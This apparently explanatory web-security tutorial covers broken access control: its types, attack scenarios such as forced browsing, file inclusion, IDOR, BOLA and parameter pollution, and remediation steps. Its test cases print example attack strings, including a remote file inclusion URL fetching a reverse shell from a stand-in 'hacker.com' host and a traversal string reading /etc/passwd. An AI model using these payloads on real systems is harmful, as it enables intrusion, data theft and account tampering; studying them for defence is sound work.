Broken — Access Control Vulnerability

Overview

Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user.

Types of Access Control

1. Vertical Access Control

–Vertical access control mechanisms restrict access to sensitive functions based on the types of users.

–With vertical access controls, different types of users have access to different application functions. For example, an administrator might be able to modify or delete any user’s account, while an ordinary user has no access to these actions.

Escalating from normal user to ADMIN

2. Horizontal Access Control

–Horizontal access control mechanisms restrict access to resources to the users who are specifically allowed to access those resources.

–With horizontal access controls, different users have access to a subset of resources of the same type. For example, a banking application will allow a user to view transactions and make payments from their accounts, but not the accounts of any other user.

Access user with the same privilege

3. Context-Dependent Access Control

–Context-dependent access control mechanisms restrict access to functionality and resources based on the state of the application or the user’s interaction with it.

Context-dependent access controls prevent a user from performing actions in the wrong order.

Types of Attack Scenario

• Forced Browsing (Access to Admin Pages)
• Directory Traversal File Include
• Remote File Inclusion
• –Insecure Direct Object Reference (IDOR)
• –Logical Flaws (Missing Function Level Access Control)
• –HPP (HTTP Parameter Pollution)
• –Broken Object Level Authorisation (BOLA) (IDOR in APIs)

Test Cases —

1. Forced Browsing

The aim of forced browsing is to enumerate and access resources that are not referenced by the application, but are still accessible such as Admin Pages, Logs etc

Example: Directory/URL Brute-Forcing , Changing Referer Parameter in request

2. Directory Traversal File Include

• –RFI: Remote File Inclusion

Ex. http://target.com/index.php?file=http://hacker.com/reverse.php

• –LFI: Local File Inclusion

–Ex. http://target.com/getUserprofile.jsp?item=../../../../../../../etc/passwd

3. IDOR – Insecure Direct Object Reference

Assume that there is an e-commerce application, and we are expected to see only our cart. However, some missing access controls can give us access to other users’ carts.

–Log into your account and go to see your cart. For example,

• https://target.com/viewCart.php?userID=1234

–The application has a user ID on a URL parameter. Let’s tamper with it.

• https://target.com/viewCart.php?userID=5678

–If you can see the cart of the user whose user ID is 5678, then there is an Insecure Direct Object Reference vulnerability.

–Since the application is vulnerable to IDOR, you can carry out further attacks with more impact such as changing address, changing payment method, deleting the account, and so on.

• https://target.com/deleteAccount.php?userID=1111
• –https://target.com/changeAddress.php?userID=22222

4. Logical Flaws (Missing Function Level Access Control)

It refers to the flaws in the authorization logic. By exploiting it, an attacker, who could be an existing user of the application, is able to escalate privileges and access restricted functionalities.

For instance, attacker skipping the payment module from the workflow of the e-commerce web application.

5. BOLA — –Broken Object Level Authorisation

–The logic behind Broken Object Level Authorisation (BOLA) and IDOR are the same. Therefore, we can define BOLA as “IDOR in APIs”.

–Assume you identified target.com uses an API to access data and interact with external software components, operating systems, or microservices.

• Sign in to your account and navigate to the “User Information” page.
• –You realized that the application fetches user information from an external service via a GET request as seen on the next page.

6. HPP — HTTP Parameter Pollution

–HPP vulnerabilities (supplying multiple values for the same parameter) can also lead to IDOR.

–Applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint.

–Assume a web application serving an API

• GET /api_v1/messages?user_id=ANOTHER_USERS_ID
• GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID

Remediation

Access control is only effective in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.

• Log access control failures, alert admins when appropriate (e.g., repeated failures).
• Rate limit API and controller access to minimize the harm from automated attack tooling.
• Except for public resources, deny by default.
• Implement access control mechanisms once and re-use them throughout the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.
• Model access controls should enforce record ownership rather than accepting that the user can create, read, update, or delete any record.
• Unique application business limit requirements should be enforced by domain models.
• Disable web server directory listing and ensure file metadata (e.g., .git) and backup files are not present within web roots.
• Stateful session identifiers should be invalidated on the server after logout. Stateless JWT tokens should rather be short-lived so that the window of opportunity for an attacker is minimized. For longer lived JWTs it’s highy recommended to follow the OAuth standards to revoke access.